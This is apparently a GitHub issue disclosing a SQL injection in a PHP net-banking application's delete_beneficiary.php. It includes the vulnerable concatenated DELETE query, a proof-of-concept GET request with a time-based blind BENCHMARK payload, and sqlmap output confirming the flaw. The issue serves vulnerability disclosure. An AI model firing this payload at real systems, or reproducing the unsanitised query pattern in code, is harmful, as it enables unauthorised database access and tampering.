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Found a vulnerability #10



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Vulnerability file address

net-banking/delete_beneficiary.php from line 17,The \$_GET['cust_id'] parameter is controllable, the parameter cust_id can be passed through get, and the \$_GET['cust_id'] is not protected from sql injection, line 21 if ((\$conn->query(\$sql0) === TRUE)) made a sql query,resulting in sql injection

```
.....
.....
.....
if (isset($_GET['cust_id'])) {
    $sql0 = "DELETE FROM beneficiary".$_SESSION['loggedIn_cust_id'].
        " WHERE benef_cust_id=".$_GET['cust_id'];
}

$success = 0;
if (($conn->query($sql0) === TRUE)) {
    $sql0 = "SELECT MAX(benef_id) FROM beneficiary".$_SESSION['loggedIn_cust_id'];
    $result = $conn->query($sql0);
    $row = $result->fetch_assoc();
.....
.....
.....
```

POC

```
GET /net-banking/delete_beneficiary.php?cust_id=666 AND 3629=BENCHMARK(5000000,MD5(0x7a6f6b4e)) HTTP/
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=m5fjmb3r9rvk4i56cqc22ht3c3
Upgrade-Insecure-Requests: 1
```

Attack results pictures

```
) technique found
[11:23:56] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[11:23:56] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[11:23:56] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[11:23:56] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[11:23:56] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns'
[11:23:56] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns'
[11:23:57] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns'
[11:23:57] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns'
[11:23:57] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns'
[11:23:57] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[11:23:57] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[11:23:57] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'
[11:23:57] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'
[11:23:57] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'
[11:23:57] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'
[11:23:58] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'
[11:23:58] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[11:23:58] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[11:23:58] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
[11:23:58] [INFO] checking if the injection point on URI parameter '#1*' is a false positive
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 2783 HTTP(s) requests:
---
Parameter: #1* (URI)
  Type: time-based blind
  Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
  Payload: http://www.bank.net:80/net-banking/delete_beneficiary.php?cust_id=666 AND 3629=BENCHMARK(5000000,MD5(0x7a6f6b4e))
---
[11:24:21] [INFO] the back-end DBMS is MySQL
[11:24:21] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web application technology: PHP 5.6.40, Nginx 1.21.2
back-end DBMS: MySQL < 5.0.12
[11:24:21] [INFO] fetched data logged to text files under '/Users/xianyu123/.sqlmap/output/www.bank.net'

[*] ending @ 11:24:21 /2022-09-04/
```

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant



